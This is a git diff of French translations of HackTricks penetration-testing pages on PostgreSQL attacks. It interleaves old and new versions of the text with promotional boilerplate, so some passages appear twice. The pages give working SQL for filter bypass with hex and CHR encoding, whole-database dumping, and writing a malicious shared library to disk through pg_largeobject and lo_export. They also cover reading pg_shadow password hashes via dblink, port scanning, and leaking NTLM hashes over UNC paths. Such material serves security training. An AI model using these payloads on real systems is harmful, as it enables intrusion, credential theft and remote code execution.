Cette fonction va extraire l'intégralité de la base de données au format XML en une seule ligne (soyez prudent si la base de données est très volumineuse car vous pourriez la mettre en panne ou même votre propre client) :
|
||||||
```sql
|
```sql
|
||||||
SELECT database_to_xml(true,true,'');
|
SELECT database_to_xml(true,true,'');
|
||||||
```
|
```
|
||||||
### Chaînes en Hexadécimal
|
### Chaînes en hexadécimal
|
||||||
|
|
||||||
Si vous pouvez exécuter des **requêtes** en les passant **à l'intérieur d'une chaîne** (par exemple en utilisant la fonction **`query_to_xml`**). **Vous pouvez utiliser convert\_from pour passer la chaîne en hexadécimal et contourner les filtres de cette manière :**
|
Si vous pouvez exécuter des **requêtes** en les passant **à l'intérieur d'une chaîne** (par exemple en utilisant la fonction **`query_to_xml`**). **Vous pouvez utiliser la fonction convert\_from pour passer la chaîne en hexadécimal et contourner les filtres de cette manière :**
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```sql
|
```sql
|
||||||
|
@ -85,9 +83,9 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
### Citations interdites
|
### Guillemets interdits
|
||||||
|
|
||||||
Si vous ne pouvez pas utiliser de guillemets pour votre charge utile, vous pouvez contourner cela avec `CHR` pour les clauses de base (_la concaténation de caractères fonctionne uniquement pour les requêtes de base telles que SELECT, INSERT, DELETE, etc. Elle ne fonctionne pas pour toutes les instructions SQL_) :
|
Si vous ne pouvez pas utiliser de guillemets pour votre charge utile, vous pouvez contourner cela avec `CHR` pour les clauses de base (_la concaténation de caractères ne fonctionne que pour les requêtes de base telles que SELECT, INSERT, DELETE, etc. Cela ne fonctionne pas pour toutes les instructions SQL_):
|
||||||
```
|
```
|
||||||
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
|
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
|
||||||
```
|
```
|
||||||
|
@ -97,23 +95,21 @@ SELECT 'hacktricks';
|
||||||
SELECT $$hacktricks$$;
|
SELECT $$hacktricks$$;
|
||||||
SELECT $TAG$hacktricks$TAG$;
|
SELECT $TAG$hacktricks$TAG$;
|
||||||
```
|
```
|
||||||
```markdown
|
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||||
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
|
**Conseil de prime de bug**: **Inscrivez-vous** sur **Intigriti**, une plateforme premium de **prime de bug créée par des hackers, pour des hackers**! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**!
|
||||||
**Conseil pour les chasseurs de bugs** : **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
|
||||||
|
|
||||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS du débutant à l'expert avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> !</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks:
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
```
|
|
||||||
|
|
|
@ -1,100 +1,89 @@
|
||||||
```bash
|
<details>
|
||||||
split -b 2048 your_binary
|
|
||||||
```
|
|
||||||
|
|
||||||
Pour **sauvegarder un fichier complet dans cette table**, vous devez d'abord **créer un objet** dans la table mentionnée (identifié par un **LOID**) puis **insérer des morceaux de 2 Ko** dans cet objet. Il est très important que tous les **morceaux fassent 2 Ko** (sauf peut-être le dernier) **ou** la fonction d'**exportation** vers le système de fichiers **ne fonctionnera pas**.
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Pour **diviser** votre **binaire** en **morceaux** de **2 Ko**, vous pouvez faire :
|
Autres façons de soutenir HackTricks :
|
||||||
```bash
|
|
||||||
split -b 2048 pg_exec.so #This will create files of size 2KB
|
|
||||||
```
|
|
||||||
Afin de coder chacun des fichiers créés en Base64 ou Hex, vous pouvez utiliser :
|
|
||||||
```bash
|
|
||||||
base64 -w 0 <Chunk_file> #Encoded in 1 line
|
|
||||||
xxd -ps -c 99999999999 <Chunk_file> #Encoded in 1 line
|
|
||||||
```
|
|
||||||
{% hint style="info" %}
|
|
||||||
Lors de l'exploitation, n'oubliez pas que vous devez envoyer des **morceaux de 2 Ko de bytes en clair** (et non 2 Ko de bytes encodés en base64 ou hexadécimal). Si vous tentez d'automatiser cela, la taille d'un fichier **encodé en hexadécimal** est le **double** (vous devez donc envoyer 4 Ko de données encodées pour chaque morceau) et la taille d'un fichier encodé en **base64** est `ceil(n / 3) * 4`
|
|
||||||
{% endhint %}
|
|
||||||
|
|
||||||
De plus, en déboguant le processus, vous pouvez voir le contenu des grands objets créés avec :
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
### Objets volumineux PostgreSQL
|
||||||
|
|
||||||
|
PostgreSQL propose une structure appelée **objets volumineux**, accessible via la table `pg_largeobject`, conçue pour stocker des types de données volumineux, tels que des images ou des documents PDF. Cette approche est avantageuse par rapport à la fonction `COPY TO` car elle permet l'**exportation des données vers le système de fichiers**, garantissant une réplique exacte du fichier d'origine.
|
||||||
|
|
||||||
|
Pour **stocker un fichier complet** dans cette table, un objet doit être créé dans la table `pg_largeobject` (identifié par un LOID), suivi de l'insertion de morceaux de données, chacun de 2 Ko, dans cet objet. Il est crucial que ces morceaux fassent exactement 2 Ko (à l'exception éventuelle du dernier morceau) pour garantir le bon fonctionnement de la fonction d'exportation.
|
||||||
|
|
||||||
|
Pour **diviser vos données binaires** en morceaux de 2 Ko, les commandes suivantes peuvent être exécutées :
|
||||||
|
```bash
|
||||||
|
split -b 2048 your_file # Creates 2KB sized files
|
||||||
|
```
|
||||||
|
Pour encoder chaque fichier en Base64 ou en Hex, les commandes ci-dessous peuvent être utilisées :
|
||||||
|
```bash
|
||||||
|
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
|
||||||
|
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
|
||||||
|
```
|
||||||
|
**Important** : Lors de l'automatisation de ce processus, assurez-vous d'envoyer des morceaux de 2 Ko d'octets en texte clair. Les fichiers encodés en hexadécimal nécessiteront 4 Ko de données par morceau en raison du doublement de la taille, tandis que les fichiers encodés en Base64 suivent la formule `ceil(n / 3) * 4`.
|
||||||
|
|
||||||
|
Le contenu des grands objets peut être consulté à des fins de débogage en utilisant :
|
||||||
```sql
|
```sql
|
||||||
select loid, pageno, encode(data, 'escape') from pg_largeobject;
|
select loid, pageno, encode(data, 'escape') from pg_largeobject;
|
||||||
```
|
```
|
||||||
# Utilisation de lo\_creat & Base64
|
#### Utilisation de `lo_creat` & Base64
|
||||||
|
|
||||||
Tout d'abord, nous devons créer un LOID où les données binaires vont être sauvegardées :
|
Pour stocker des données binaires, un LOID est d'abord créé :
|
||||||
```sql
|
```sql
|
||||||
SELECT lo_creat(-1); -- returns OID of new, empty large object
|
SELECT lo_creat(-1); -- Creates a new, empty large object
|
||||||
SELECT lo_create(173454); -- attempts to create large object with OID 43213
|
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
|
||||||
```
|
```
|
||||||
Si vous exploitez une **Blind SQLinjection**, vous serez probablement plus intéressé par l'utilisation de `lo_create` avec un **LOID fixe** afin de **savoir où** vous devez **téléverser** le **contenu**.\
|
Dans les situations nécessitant un contrôle précis, comme l'exploitation d'une Injection SQL Aveugle, `lo_create` est préféré pour spécifier un LOID fixe.
|
||||||
Notez également qu'il n'y a pas d'erreur de syntaxe, les fonctions sont `lo_creat` et `lo_create`.
|
|
||||||
|
|
||||||
Le LOID est utilisé pour identifier l'objet dans la table `pg_largeobject`. L'insertion de blocs de 2 Ko dans la table `pg_largeobject` peut être réalisée en utilisant :
|
Les morceaux de données peuvent ensuite être insérés comme suit:
|
||||||
```sql
|
```sql
|
||||||
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 0, decode('<B64 chunk1>', 'base64'));
|
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
|
||||||
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 1, decode('<B64 chunk2>', 'base64'));
|
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));
|
||||||
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 3, decode('<B64 chunk2>', 'base64'));
|
|
||||||
```
|
|
||||||
```markdown
|
|
||||||
Enfin, vous pouvez exporter le fichier vers le système de fichiers en faisant (pendant cet exemple, le LOID utilisé était `173454`):
|
|
||||||
```
|
|
||||||
```sql
|
|
||||||
SELECT lo_export(173454, '/tmp/pg_exec.so');
|
|
||||||
```
|
|
||||||
{% hint style="info" %}
|
|
||||||
Notez que dans les versions les plus récentes de postgres, vous devrez peut-être **télécharger les extensions sans indiquer de chemin du tout**. [**Lisez ceci pour plus d'informations**.](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions)
|
|
||||||
{% endhint %}
|
|
||||||
|
|
||||||
Il se peut que vous souhaitiez supprimer le grand objet créé après l'avoir exporté :
|
|
||||||
```sql
|
|
||||||
SELECT lo_unlink(173454); -- deletes large object with OID 173454
|
|
||||||
```
|
```
|
||||||
# Utilisation de lo\_import & Hex
|
Pour exporter et potentiellement supprimer l'objet volumineux après utilisation :
|
||||||
|
```sql
|
||||||
|
SELECT lo_export(173454, '/tmp/your_file');
|
||||||
|
SELECT lo_unlink(173454); -- Deletes the specified large object
|
||||||
|
```
|
||||||
|
#### Utilisation de `lo_import` & Hex
|
||||||
|
|
||||||
Dans ce scénario, lo\_import va être utilisé pour créer un grand objet. Heureusement, dans ce cas, vous pouvez (et ne pouvez pas) spécifier le LOID que vous souhaiteriez utiliser :
|
La fonction `lo_import` peut être utilisée pour créer et spécifier un LOID pour un grand objet :
|
||||||
```sql
|
```sql
|
||||||
select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts');
|
select lo_import('/path/to/file');
|
||||||
select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts', 173454);
|
select lo_import('/path/to/file', 173454);
|
||||||
```
|
```
|
||||||
Après avoir créé l'objet, vous pouvez commencer à insérer les données sur chaque page (souvenez-vous, vous devez insérer des blocs de 2 Ko) :
|
Après la création de l'objet, les données sont insérées par page, en veillant à ce que chaque morceau ne dépasse pas 2 Ko :
|
||||||
```sql
|
```sql
|
||||||
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
|
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
|
||||||
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
|
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
|
||||||
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=2;
|
|
||||||
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=3;
|
|
||||||
```
|
```
|
||||||
Le HEX doit être juste le hex (sans `0x` ou `\x`), exemple :
|
Pour compléter le processus, les données sont exportées et le grand objet est supprimé :
|
||||||
```sql
|
```sql
|
||||||
update pg_largeobject set data=decode('68656c6c6f', 'hex') where loid=173454 and pageno=0;
|
select lo_export(173454, '/path/to/your_file');
|
||||||
|
select lo_unlink(173454); -- Deletes the specified large object
|
||||||
```
|
```
|
||||||
Finalement, exportez les données dans un fichier et supprimez l'objet volumineux :
|
### Limitations
|
||||||
```sql
|
|
||||||
select lo_export(173454, 'C:\\path\to\pg_extension.dll');
|
|
||||||
select lo_unlink(173454); -- deletes large object with OID 173454
|
|
||||||
```
|
|
||||||
{% hint style="info" %}
|
|
||||||
Notez que dans les versions les plus récentes de postgres, vous pourriez avoir besoin de **télécharger les extensions sans indiquer de chemin** du tout. [**Lisez ceci pour plus d'informations**.](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions)
|
|
||||||
{% endhint %}
|
|
||||||
|
|
||||||
# Limitations
|
|
||||||
|
|
||||||
Après avoir lu la documentation sur les grands objets dans PostgreSQL, nous pouvons découvrir que **les grands objets peuvent avoir une ACL** (Liste de Contrôle d'Accès). Il est possible de configurer **de nouveaux grands objets** de sorte que votre utilisateur **n'ait pas suffisamment de privilèges** pour les lire, même s'ils ont été créés par votre utilisateur.
|
|
||||||
|
|
||||||
Cependant, il peut y avoir **un ancien objet avec une ACL qui permet à l'utilisateur actuel de le lire**, alors nous pouvons exfiltrer le contenu de cet objet.
|
|
||||||
|
|
||||||
|
Il est noté que **les grands objets peuvent avoir des ACL** (Listes de Contrôle d'Accès), restreignant potentiellement l'accès même aux objets créés par votre utilisateur. Cependant, les anciens objets avec des ACL permissives peuvent toujours être accessibles pour l'exfiltration de contenu.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks:
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,41 +1,43 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
Depuis **PostgreSQL 9.1**, l'installation de modules supplémentaires est simple. [Les extensions enregistrées comme `dblink`](https://www.postgresql.org/docs/current/contrib.html) peuvent être installées avec [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html) :
|
**Trouvez [plus d'informations sur ces attaques dans le document original](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
|
||||||
|
|
||||||
|
Depuis **PostgreSQL 9.1**, l'installation de modules supplémentaires est simple. [Les extensions enregistrées comme `dblink`](https://www.postgresql.org/docs/current/contrib.html) peuvent être installées avec [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html):
|
||||||
```sql
|
```sql
|
||||||
CREATE EXTENSION dblink;
|
CREATE EXTENSION dblink;
|
||||||
```
|
```
|
||||||
Une fois que vous avez chargé dblink, vous pourriez être capable de réaliser quelques astuces intéressantes :
|
Une fois que vous avez chargé dblink, vous pourriez être en mesure d'effectuer quelques astuces intéressantes :
|
||||||
|
|
||||||
## Élévation de Privilèges
|
## Élévation de privilèges
|
||||||
|
|
||||||
Le fichier `pg_hba.conf` pourrait être mal configuré **permettant des connexions** depuis **localhost en tant que n'importe quel utilisateur** sans avoir besoin de connaître le mot de passe. Ce fichier se trouve typiquement dans `/etc/postgresql/12/main/pg_hba.conf` et une mauvaise configuration ressemble à :
|
Le fichier `pg_hba.conf` pourrait être mal configuré, **autorisant les connexions** depuis **localhost en tant que n'importe quel utilisateur** sans avoir besoin de connaître le mot de passe. Ce fichier est généralement situé dans `/etc/postgresql/12/main/pg_hba.conf` et une mauvaise configuration ressemble à :
|
||||||
```
|
```
|
||||||
local all all trust
|
local all all trust
|
||||||
```
|
```
|
||||||
_Notez que cette configuration est couramment utilisée pour modifier le mot de passe d'un utilisateur de la base de données lorsque l'administrateur l'oublie, donc parfois vous pouvez la trouver._\
|
_Notez que cette configuration est couramment utilisée pour modifier le mot de passe d'un utilisateur de base de données lorsque l'administrateur l'oublie, donc parfois vous pouvez la trouver._\
|
||||||
_Notez également que le fichier pg\_hba.conf est lisible uniquement par l'utilisateur et le groupe postgres et modifiable uniquement par l'utilisateur postgres._
|
_Notez également que le fichier pg\_hba.conf est lisible uniquement par l'utilisateur et le groupe postgres et modifiable uniquement par l'utilisateur postgres._
|
||||||
|
|
||||||
Ce cas est **utile si** vous avez **déjà** un **shell** sur la victime car cela vous permettra de vous connecter à la base de données postgresql.
|
Ce cas est **utile si** vous avez **déjà** un **shell** à l'intérieur de la victime car cela vous permettra de vous connecter à la base de données postgresql.
|
||||||
|
|
||||||
Une autre mauvaise configuration possible consiste en quelque chose comme ceci :
|
Une autre mauvaise configuration possible consiste en quelque chose comme ceci :
|
||||||
```
|
```
|
||||||
host all all 127.0.0.1/32 trust
|
host all all 127.0.0.1/32 trust
|
||||||
```
|
```
|
||||||
Comme cela permettra à tout le monde depuis le localhost de se connecter à la base de données en tant que n'importe quel utilisateur.\
|
Comme cela permettra à tout le monde depuis l'hôte local de se connecter à la base de données en tant qu'utilisateur.\
|
||||||
Dans ce cas et si la fonction **`dblink`** est **opérationnelle**, vous pourriez **élever vos privilèges** en vous connectant à la base de données via une connexion déjà établie et accéder à des données auxquelles vous ne devriez normalement pas avoir accès :
|
Dans ce cas et si la fonction **`dblink`** fonctionne, vous pourriez **escalader les privilèges** en vous connectant à la base de données via une connexion déjà établie et accéder à des données auxquelles vous ne devriez pas pouvoir accéder:
|
||||||
```sql
|
```sql
|
||||||
SELECT * FROM dblink('host=127.0.0.1
|
SELECT * FROM dblink('host=127.0.0.1
|
||||||
user=postgres
|
user=postgres
|
||||||
|
@ -49,11 +51,9 @@ dbname=postgres',
|
||||||
'select usename, passwd from pg_shadow')
|
'select usename, passwd from pg_shadow')
|
||||||
RETURNS (result1 TEXT, result2 TEXT);
|
RETURNS (result1 TEXT, result2 TEXT);
|
||||||
```
|
```
|
||||||
**Trouvez** [**plus d'informations sur cette attaque dans ce document**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**.**
|
## Balayage de ports
|
||||||
|
|
||||||
## Balayage de Ports
|
En abusant de `dblink_connect`, vous pourriez également **rechercher des ports ouverts**. Si cette **fonction ne fonctionne pas, vous devriez essayer d'utiliser `dblink_connect_u()` car la documentation indique que `dblink_connect_u()` est identique à `dblink_connect()`, sauf qu'elle permet aux non-superutilisateurs de se connecter en utilisant n'importe quelle méthode d'authentification_.
|
||||||
|
|
||||||
En abusant de `dblink_connect`, vous pourriez également **rechercher des ports ouverts**. Si cette **fonction ne fonctionne pas, vous devriez essayer d'utiliser `dblink_connect_u()`** car la documentation indique que _`dblink_connect_u()` est identique à `dblink_connect()`, sauf qu'elle permettra aux non-superutilisateurs de se connecter en utilisant n'importe quelle méthode d'authentification_.
|
|
||||||
```sql
|
```sql
|
||||||
SELECT * FROM dblink_connect('host=216.58.212.238
|
SELECT * FROM dblink_connect('host=216.58.212.238
|
||||||
port=443
|
port=443
|
||||||
|
@ -84,7 +84,7 @@ Notez que **avant** de pouvoir utiliser `dblink_connect` ou `dblink_connect_u`,
|
||||||
```
|
```
|
||||||
CREATE extension dblink;
|
CREATE extension dblink;
|
||||||
```
|
```
|
||||||
## Chemin UNC - divulgation de hash NTLM
|
## Chemin UNC - Divulgation du hachage NTLM
|
||||||
```sql
|
```sql
|
||||||
-- can be used to leak hashes to Responder/equivalent
|
-- can be used to leak hashes to Responder/equivalent
|
||||||
CREATE TABLE test();
|
CREATE TABLE test();
|
||||||
|
@ -107,14 +107,14 @@ SELECT testfunc();
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
D'autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,129 +1,129 @@
|
||||||
# Brute-Force de Mot de Passe PL/pgSQL
|
# Bruteforce de mot de passe PL/pgSQL
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
